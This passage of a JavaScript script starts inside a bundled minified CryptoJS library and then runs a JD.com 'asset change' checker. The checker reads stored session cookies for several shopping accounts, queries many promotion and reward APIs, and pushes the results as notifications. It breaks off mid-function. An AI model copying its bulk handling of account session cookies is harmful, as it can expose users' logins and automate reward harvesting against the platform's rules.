32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], o = i.DES = r.extend({ _doReset: function () { for (var t = this._key.words, e = [], r = 0; r < 56; r++) { var i = h[r] - 1; e[r] = t[i >>> 5] >>> 31 - i % 32 & 1 } for (var n = this._subKeys = [], o = 0; o < 16; o++) { var s = n[o] = [], c = f[o]; for (r = 0; r < 24; r++)s[r / 6 | 0] |= e[(l[r] - 1 + c) % 28] << 31 - r % 6, s[4 + (r / 6 | 0)] |= e[28 + (l[r + 24] - 1 + c) % 28] << 31 - r % 6; s[0] = s[0] << 1 | s[0] >>> 31; for (r = 1; r < 7; r++)s[r] = s[r] >>> 4 * (r - 1) + 3; s[7] = s[7] << 5 | s[7] >>> 27 } var a = this._invSubKeys = []; for (r = 0; r < 16; r++)a[r] = n[15 - r] }, encryptBlock: function (t, e) { this._doCryptBlock(t, e, this._subKeys) }, decryptBlock: function (t, e) { this._doCryptBlock(t, e, this._invSubKeys) }, _doCryptBlock: function (t, e, r) { this._lBlock = t[e], this._rBlock = t[e + 1], p.call(this, 4, 252645135), p.call(this, 16, 65535), _.call(this, 2, 858993459), _.call(this, 8, 16711935), p.call(this, 1, 1431655765); for (var i = 0; i < 16; i++) { for (var n = r[i], o = this._lBlock, s = this._rBlock, c = 0, a = 0; a < 8; a++)c |= d[a][((s ^ n[a]) & u[a]) >>> 0]; this._lBlock = s, this._rBlock = o ^ c } var h = this._lBlock; this._lBlock = this._rBlock, this._rBlock = h, p.call(this, 1, 1431655765), _.call(this, 8, 16711935), _.call(this, 2, 858993459), p.call(this, 16, 65535), p.call(this, 4, 252645135), t[e] = this._lBlock, t[e + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); function p(t, e) { var r = (this._lBlock >>> t ^ this._rBlock) & e; this._rBlock ^= r, this._lBlock ^= r << t } function _(t, e) { var r = (this._rBlock >>> t ^ this._lBlock) & e; this._lBlock ^= r, this._rBlock ^= r << t } t.DES = r._createHelper(o); var s = i.TripleDES = r.extend({ _doReset: function () { var t = this._key.words; if (2 !== t.length && 4 !== t.length && t.length < 6) throw new Error("Invalid key length - 3DES requires the key length to be 64, 128, 192 or >192."); var e = t.slice(0, 2), r = t.length < 4 ? t.slice(0, 2) : t.slice(2, 4), i = t.length < 6 ? t.slice(0, 2) : t.slice(4, 6); this._des1 = o.createEncryptor(n.create(e)), this._des2 = o.createEncryptor(n.create(r)), this._des3 = o.createEncryptor(n.create(i)) }, encryptBlock: function (t, e) { this._des1.encryptBlock(t, e), this._des2.decryptBlock(t, e), this._des3.encryptBlock(t, e) }, decryptBlock: function (t, e) { this._des3.decryptBlock(t, e), this._des2.encryptBlock(t, e), this._des1.decryptBlock(t, e) }, keySize: 6, ivSize: 2, blockSize: 2 }); t.TripleDES = r._createHelper(s) }(), function () { var t = bt, e = t.lib.StreamCipher, r = t.algo, i = r.RC4 = e.extend({ _doReset: function () { for (var t = this._key, e = t.words, r = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; n = 0; for (var o = 0; n < 256; n++) { var s = n % r, c = e[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + c) % 256; var a = i[n]; i[n] = i[o], i[o] = a } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= n.call(this) }, keySize: 8, ivSize: 0 }); function n() { for (var t = this._S, e = this._i, r = this._j, i = 0, n = 0; n < 4; n++) { r = (r + t[e = (e + 1) % 256]) % 256; var o = t[e]; t[e] = t[r], t[r] = o, i |= t[(t[e] + t[r]) % 256] << 24 - 8 * n } return this._i = e, this._j = r, i } t.RC4 = e._createHelper(i); var o = r.RC4Drop = i.extend({ cfg: i.cfg.extend({ drop: 192 }), _doReset: function () { i._doReset.call(this); for (var t = this.cfg.drop; 0 < t; t--)n.call(this) } }); t.RC4Drop = e._createHelper(o) }(), bt.mode.CTRGladman = (ot = bt.lib.BlockCipherMode.extend(), st = ot.Encryptor = ot.extend({ processBlock: function (t, e) { var r, i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), 0 === ((r = s)[0] = Et(r[0])) && (r[1] = Et(r[1])); var c = s.slice(0); i.encryptBlock(c, 0); for (var a = 0; a < n; a++)t[e + a] ^= c[a] } }), ot.Decryptor = st, ot), at = (ct = bt).lib.StreamCipher, ht = ct.algo, lt = [], ft = [], dt = [], ut = ht.Rabbit = at.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = 0; r < 4; r++)t[r] = 16711935 & (t[r] << 8 | t[r] >>> 24) | 4278255360 & (t[r] << 24 | t[r] >>> 8); var i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; for (r = this._b = 0; r < 4; r++)Rt.call(this); for (r = 0; r < 8; r++)n[r] ^= i[r + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; n[0] ^= a, n[1] ^= l, n[2] ^= h, n[3] ^= f, n[4] ^= a, n[5] ^= l, n[6] ^= h, n[7] ^= f; for (r = 0; r < 4; r++)Rt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Rt.call(this), lt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, lt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, lt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, lt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)lt[i] = 16711935 & (lt[i] << 8 | lt[i] >>> 24) | 4278255360 & (lt[i] << 24 | lt[i] >>> 8), t[e + i] ^= lt[i] }, blockSize: 4, ivSize: 2 }), ct.Rabbit = at._createHelper(ut), bt.mode.CTR = (pt = bt.lib.BlockCipherMode.extend(), _t = pt.Encryptor = pt.extend({ processBlock: function (t, e) { var r = this._cipher, i = r.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); r.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var c = 0; c < i; c++)t[e + c] ^= s[c] } }), pt.Decryptor = _t, pt), yt = (vt = bt).lib.StreamCipher, gt = vt.algo, Bt = [], wt = [], kt = [], St = gt.RabbitLegacy = yt.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, r = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], i = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]], n = this._b = 0; n < 4; n++)Mt.call(this); for (n = 0; n < 8; n++)i[n] ^= r[n + 4 & 7]; if (e) { var o = e.words, s = o[0], c = o[1], a = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), h = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), l = a >>> 16 | 4294901760 & h, f = h << 16 | 65535 & a; i[0] ^= a, i[1] ^= l, i[2] ^= h, i[3] ^= f, i[4] ^= a, i[5] ^= l, i[6] ^= h, i[7] ^= f; for (n = 0; n < 4; n++)Mt.call(this) } }, _doProcessBlock: function (t, e) { var r = this._X; Mt.call(this), Bt[0] = r[0] ^ r[5] >>> 16 ^ r[3] << 16, Bt[1] = r[2] ^ r[7] >>> 16 ^ r[5] << 16, Bt[2] = r[4] ^ r[1] >>> 16 ^ r[7] << 16, Bt[3] = r[6] ^ r[3] >>> 16 ^ r[1] << 16; for (var i = 0; i < 4; i++)Bt[i] = 16711935 & (Bt[i] << 8 | Bt[i] >>> 24) | 4278255360 & (Bt[i] << 24 | Bt[i] >>> 8), t[e + i] ^= Bt[i] }, blockSize: 4, ivSize: 2 }), vt.RabbitLegacy = yt._createHelper(St), bt.pad.ZeroPadding = { pad: function (t, e) { var r = 4 * e; t.clamp(), t.sigBytes += r - (t.sigBytes % r || r) }, unpad: function (t) { var e = t.words, r = t.sigBytes - 1; for (r = t.sigBytes - 1; 0 <= r; r--)if (e[r >>> 2] >>> 24 - r % 4 * 8 & 255) { t.sigBytes = r + 1; break } } }, bt }); + +const $ = new Env('京东资产变动'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const JXUserAgent = $.isNode() ? (process.env.JX_USER_AGENT ? process.env.JX_USER_AGENT : ``) : ``; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let NowHour = new Date().getHours(); +let allMessage = ''; +let allMessage2 = ''; +let allReceiveMessage = ''; +let allWarnMessage = ''; +let ReturnMessage = ''; +let ReturnMessageMonth = ''; +let allMessageMonth = ''; + +let MessageUserGp2 = ''; +let ReceiveMessageGp2 = ''; +let WarnMessageGp2 = ''; +let allMessageGp2 = ''; +let allMessage2Gp2 = ''; +let allMessageMonthGp2 = ''; +let IndexGp2 = 0; + +let MessageUserGp3 = ''; +let ReceiveMessageGp3 = ''; +let WarnMessageGp3 = ''; +let allMessageGp3 = ''; +let allMessage2Gp3 = ''; +let allMessageMonthGp3 = ''; +let IndexGp3 = 0; + +let MessageUserGp4 = ''; +let ReceiveMessageGp4 = ''; +let WarnMessageGp4 = ''; +let allMessageGp4 = ''; +let allMessageMonthGp4 = ''; +let allMessage2Gp4 = ''; +let IndexGp4 = 0; + +let notifySkipList = ""; +let IndexAll = 0; +let EnableMonth = "false"; +let isSignError = false; +let ReturnMessageTitle=""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let intPerSent = 0; +let i = 0; +let llShowMonth = false; +let Today = new Date(); +let strAllNotify=""; +let strSubNotify=""; +let llPetError=false; +let strGuoqi=""; +let RemainMessage = '\n'; +RemainMessage += "⭕活动攻略:⭕" + '\n'; +RemainMessage += '【极速金币】京东极速版->我的->金币(极速版使用)\n'; +RemainMessage += '【京东赚赚】微信->京东赚赚小程序->底部赚好礼->提现无门槛红包(京东使用)\n'; +RemainMessage += '【京东秒杀】京东->中间频道往右划找到京东秒杀->中间点立即签到->兑换无门槛红包(京东使用)\n'; +RemainMessage += '【东东萌宠】京东->我的->东东萌宠,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【领现金】京东->我的->东东萌宠->领现金(微信提现+京东红包)\n'; +RemainMessage += '【东东农场】京东->我的->东东农场,完成是京东红包,可以用于京东app的任意商品\n'; +RemainMessage += '【京喜工厂】京喜->我的->京喜工厂,完成是商品红包,用于购买指定商品(不兑换会过期)\n'; +RemainMessage += '【京东金融】京东金融app->我的->养猪猪,完成是白条支付券,支付方式选白条支付时立减.\n'; +RemainMessage += '【其他】京喜红包只能在京喜使用,其他同理'; + +let WP_APP_TOKEN_ONE = ""; + +let TempBaipiao = ""; +let llgeterror=false; + +let doExJxBeans ="false"; +let time = new Date().getHours(); +if ($.isNode()) { + if (process.env.WP_APP_TOKEN_ONE) { + WP_APP_TOKEN_ONE = process.env.WP_APP_TOKEN_ONE; + } + /* if(process.env.BEANCHANGE_ExJxBeans=="true"){ + if (time >= 17){ + console.log(`检测到设定了临期京豆转换喜豆...`); + doExJxBeans = process.env.BEANCHANGE_ExJxBeans; + } else{ + console.log(`检测到设定了临期京豆转换喜豆,但时间未到17点后,暂不执行转换...`); + } + } */ +} +if(WP_APP_TOKEN_ONE) + console.log(`检测到已配置Wxpusher的Token,启用一对一推送...`); +else + console.log(`检测到未配置Wxpusher的Token,禁用一对一推送...`); + +if ($.isNode() && process.env.BEANCHANGE_PERSENT) { + intPerSent = parseInt(process.env.BEANCHANGE_PERSENT); + console.log(`检测到设定了分段通知:` + intPerSent); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP2) { + MessageUserGp2 = process.env.BEANCHANGE_USERGP2 ? process.env.BEANCHANGE_USERGP2.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送2,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP3) { + MessageUserGp3 = process.env.BEANCHANGE_USERGP3 ? process.env.BEANCHANGE_USERGP3.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送3,将禁用分段通知`); +} + +if ($.isNode() && process.env.BEANCHANGE_USERGP4) { + MessageUserGp4 = process.env.BEANCHANGE_USERGP4 ? process.env.BEANCHANGE_USERGP4.split('&') : []; + intPerSent = 0; //分组推送,禁用账户拆分 + console.log(`检测到设定了分组推送4,将禁用分段通知`); +} + +//取消月结查询 +//if ($.isNode() && process.env.BEANCHANGE_ENABLEMONTH) { + //EnableMonth = process.env.BEANCHANGE_ENABLEMONTH; +//} + +if ($.isNode() && process.env.BEANCHANGE_SUBNOTIFY) { + strSubNotify=process.env.BEANCHANGE_SUBNOTIFY; + strSubNotify+="\n"; + console.log(`检测到预览置顶内容,将在一对一推送的预览显示...\n`); +} + +if ($.isNode() && process.env.BEANCHANGE_ALLNOTIFY) { + strAllNotify=process.env.BEANCHANGE_ALLNOTIFY; + console.log(`检测到设定了公告,将在推送信息中置顶显示...`); + strAllNotify = `【✨✨✨✨公告✨✨✨✨】\n`+strAllNotify; + console.log(strAllNotify+"\n"); + strAllNotify +=`\n🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏🎏` +} + + +if (EnableMonth == "true" && Today.getDate() == 1 && Today.getHours() > 17) + llShowMonth = true; + +let userIndex2 = -1; +let userIndex3 = -1; +let userIndex4 = -1; + + +let decExBean=0; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') + console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +//查询开关 +let strDisableList = ""; +let DisableIndex=-1; +if ($.isNode()) { + strDisableList = process.env.BEANCHANGE_DISABLELIST ? process.env.BEANCHANGE_DISABLELIST.split('&') : []; +} + +//喜豆查询 +let EnableJxBeans=true; +DisableIndex=strDisableList.findIndex((item) => item === "喜豆查询"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭喜豆查询"); + EnableJxBeans=false +} + +//汪汪乐园 +let EnableJoyPark=false; +/* DisableIndex = strDisableList.findIndex((item) => item === "汪汪乐园"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪乐园查询"); + EnableJoyPark=false +} */ + +//京东赚赚 +let EnableJdZZ=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东赚赚"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东赚赚查询"); + EnableJdZZ=false; +} + +//京东秒杀 +let EnableJdMs=true; +DisableIndex = strDisableList.findIndex((item) => item === "京东秒杀"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东秒杀查询"); + EnableJdMs=false; +} + +//东东农场 +let EnableJdFruit=true; +DisableIndex = strDisableList.findIndex((item) => item === "东东农场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东农场查询"); + EnableJdFruit=false; +} + +//极速金币 +let EnableJdSpeed=true; +DisableIndex = strDisableList.findIndex((item) => item === "极速金币"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭极速金币查询"); + EnableJdSpeed=false; +} + +//京喜牧场 +let EnableJxMC=true; +DisableIndex= strDisableList.findIndex((item) => item === "京喜牧场"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜牧场查询"); + EnableJxMC=false; +} +//京喜工厂 +let EnableJxGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京喜工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京喜工厂查询"); + EnableJxGC=false; +} + +// 京东工厂 +let EnableJDGC=true; +DisableIndex=strDisableList.findIndex((item) => item === "京东工厂"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭京东工厂查询"); + EnableJDGC=false; +} +//领现金 +let EnableCash=true; +DisableIndex=strDisableList.findIndex((item) => item === "领现金"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭领现金查询"); + EnableCash=false; +} + +//金融养猪 +let EnablePigPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "金融养猪"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭金融养猪查询"); + EnablePigPet=false; +} +//东东萌宠 +let EnableJDPet=true; +DisableIndex=strDisableList.findIndex((item) => item === "东东萌宠"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭东东萌宠查询"); + EnableJDPet=false +} + +//7天过期京豆 +let EnableOverBean=true; +DisableIndex=strDisableList.findIndex((item) => item === "过期京豆"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭过期京豆查询"); + EnableOverBean=false +} + +//查优惠券 +let EnableChaQuan=true; +DisableIndex=strDisableList.findIndex((item) => item === "查优惠券"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭优惠券查询"); + EnableChaQuan=false +} + +DisableIndex=strDisableList.findIndex((item) => item === "活动攻略"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭活动攻略显示"); + RemainMessage=""; +} + +//汪汪赛跑 +let EnableJoyRun=true; +DisableIndex=strDisableList.findIndex((item) => item === "汪汪赛跑"); +if(DisableIndex!=-1){ + console.log("检测到设定关闭汪汪赛跑查询"); + EnableJoyRun=false +} + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + for (i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.pt_pin = (cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + $.index = i + 1; + $.beanCount = 0; + $.incomeBean = 0; + $.expenseBean = 0; + $.todayIncomeBean = 0; + $.todayOutcomeBean = 0; + $.errorMsg = ''; + $.isLogin = true; + $.nickName = ''; + $.levelName = ''; + $.message = ''; + $.balance = 0; + $.expiredBalance = 0; + $.JdzzNum = 0; + $.JdMsScore = 0; + $.JdFarmProdName = ''; + $.JdtreeEnergy = 0; + $.JdtreeTotalEnergy = 0; + $.treeState = 0; + $.JdwaterTotalT = 0; + $.JdwaterD = 0; + $.JDwaterEveryDayT = 0; + $.JDtotalcash = 0; + $.JDEggcnt = 0; + $.Jxmctoken = ''; + $.DdFactoryReceive = ''; + $.jxFactoryInfo = ''; + $.jxFactoryReceive = ''; + $.jdCash = 0; + $.isPlusVip = 0; + $.JingXiang = ""; + $.allincomeBean = 0; //月收入 + $.allexpenseBean = 0; //月支出 + $.joylevel = 0; + $.beanChangeXi=0; + $.inJxBean=0; + $.OutJxBean=0; + $.todayinJxBean=0; + $.todayOutJxBean=0; + $.xibeanCount = 0; + $.PigPet = ''; + $.YunFeiTitle=""; + $.YunFeiQuan = 0; + $.YunFeiQuanEndTime = ""; + $.YunFeiTitle2=""; + $.YunFeiQuan2 = 0; + $.YunFeiQuanEndTime2 = ""; + $.JoyRunningAmount = ""; + + TempBaipiao = ""; + strGuoqi=""; + console.log(`******开始查询【京东账号${$.index}】${$.nickName || $.UserName}*********`); + + await Promise.all([ + TotalBean(), + TotalBean2()]) + + if (!$.isLogin) { + await isLoginByX1a0He(); + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await Promise.all([ + getJoyBaseInfo(), //汪汪乐园 + getJdZZ(), //京东赚赚 + getMs(), //京东秒杀 + getjdfruitinfo(), //东东农场 + cash(), //极速金币 + jdJxMCinfo(), //京喜牧场 + bean(), //京豆查询 + getJxFactory(), //京喜工厂 + getDdFactoryInfo(), // 京东工厂 + jdCash(), //领现金 + GetJxBeaninfo(), //喜豆查询 + GetPigPetInfo(), //金融养猪 + GetJoyRuninginfo() //汪汪赛跑 + ]) + + await showMsg(); + if (intPerSent > 0) { + if ((i + 1) % intPerSent == 0) { + console.log("分段通知条件达成,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + allMessage = ""; + allMessageMonth = ""; + } + + } + } + } + //组1通知 + if (ReceiveMessageGp4) { + allMessage2Gp4 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp4; + } + if (WarnMessageGp4) { + if (allMessage2Gp4) { + allMessage2Gp4 = `\n` + allMessage2Gp4; + } + allMessage2Gp4 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp4 + allMessage2Gp4; + } + + //组2通知 + if (ReceiveMessageGp2) { + allMessage2Gp2 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp2; + } + if (WarnMessageGp2) { + if (allMessage2Gp2) { + allMessage2Gp2 = `\n` + allMessage2Gp2; + } + allMessage2Gp2 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp2 + allMessage2Gp2; + } + + //组3通知 + if (ReceiveMessageGp3) { + allMessage2Gp3 = `【⏰商品白嫖活动领取提醒⏰】\n` + ReceiveMessageGp3; + } + if (WarnMessageGp3) { + if (allMessage2Gp3) { + allMessage2Gp3 = `\n` + allMessage2Gp3; + } + allMessage2Gp3 = `【⏰商品白嫖活动任务提醒⏰】\n` + WarnMessageGp3 + allMessage2Gp3; + } + + //其他通知 + if (allReceiveMessage) { + allMessage2 = `【⏰商品白嫖活动领取提醒⏰】\n` + allReceiveMessage; + } + if (allWarnMessage) { + if (allMessage2) { + allMessage2 = `\n` + allMessage2; + } + allMessage2 = `【⏰商品白嫖活动任务提醒⏰】\n` + allWarnMessage + allMessage2; + } + + if (intPerSent > 0) { + //console.log("分段通知还剩下" + cookiesArr.length % intPerSent + "个账号需要发送..."); + if (allMessage || allMessageMonth) { + console.log("分段通知收尾,处理发送通知...."); + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + } + } + } else { + + if ($.isNode() && allMessageGp2) { + var TempMessage=allMessageGp2; + if(strAllNotify) + allMessageGp2=strAllNotify+`\n`+allMessageGp2; + await notify.sendNotify(`${$.name}#2`, `${allMessageGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp3) { + var TempMessage=allMessageGp3; + if(strAllNotify) + allMessageGp3=strAllNotify+`\n`+allMessageGp3; + await notify.sendNotify(`${$.name}#3`, `${allMessageGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageGp4) { + var TempMessage=allMessageGp4; + if(strAllNotify) + allMessageGp4=strAllNotify+`\n`+allMessageGp4; + await notify.sendNotify(`${$.name}#4`, `${allMessageGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage) { + var TempMessage=allMessage; + if(strAllNotify) + allMessage=strAllNotify+`\n`+allMessage; + + await notify.sendNotify(`${$.name}`, `${allMessage}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }, '\n\n本通知 By ccwav Mod',TempMessage) + await $.wait(10 * 1000); + } + + if ($.isNode() && allMessageMonthGp2) { + await notify.sendNotify(`京东月资产变动#2`, `${allMessageMonthGp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp3) { + await notify.sendNotify(`京东月资产变动#3`, `${allMessageMonthGp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonthGp4) { + await notify.sendNotify(`京东月资产变动#4`, `${allMessageMonthGp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessageMonth) { + await notify.sendNotify(`京东月资产变动`, `${allMessageMonth}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + } + + if ($.isNode() && allMessage2Gp2) { + allMessage2Gp2 += RemainMessage; + await notify.sendNotify("京东白嫖榜#2", `${allMessage2Gp2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp3) { + allMessage2Gp3 += RemainMessage; + await notify.sendNotify("京东白嫖榜#3", `${allMessage2Gp3}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2Gp4) { + allMessage2Gp4 += RemainMessage; + await notify.sendNotify("京东白嫖榜#4", `${allMessage2Gp4}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + if ($.isNode() && allMessage2) { + allMessage2 += RemainMessage; + await notify.sendNotify("京东白嫖榜", `${allMessage2}`, { + url: `https://bean.m.jd.com/beanDetail/index.action?resourceValue=bean` + }) + await $.wait(10 * 1000); + } + +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}) +.finally(() => { + $.done(); +}) +async function showMsg() { + //if ($.errorMsg) + //return + ReturnMessageTitle=""; + ReturnMessage = ""; + var strsummary=""; + if (MessageUserGp2) { + userIndex2 = MessageUserGp2.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp3) { + userIndex3 = MessageUserGp3.findIndex((item) => item === $.pt_pin); + } + if (MessageUserGp4) { + userIndex4 = MessageUserGp4.findIndex((item) => item === $.pt_pin); + } + + if (userIndex2 != -1) { + IndexGp2 += 1; + ReturnMessageTitle = `【账号${IndexGp2}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex3 != -1) { + IndexGp3 += 1; + ReturnMessageTitle = `【账号${IndexGp3}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex4 != -1) { + IndexGp4 += 1; + ReturnMessageTitle = `【账号${IndexGp4}🆔】${$.nickName || $.UserName}\n`; + } + if (userIndex2 == -1 && userIndex3 == -1 && userIndex4 == -1) { + IndexAll += 1; + ReturnMessageTitle = `【账号${IndexAll}🆔】${$.nickName || $.UserName}\n`; + } + + if ($.levelName || $.JingXiang){ + ReturnMessage += `【账号信息】`; + if ($.levelName) { + if ($.levelName.length > 2) + 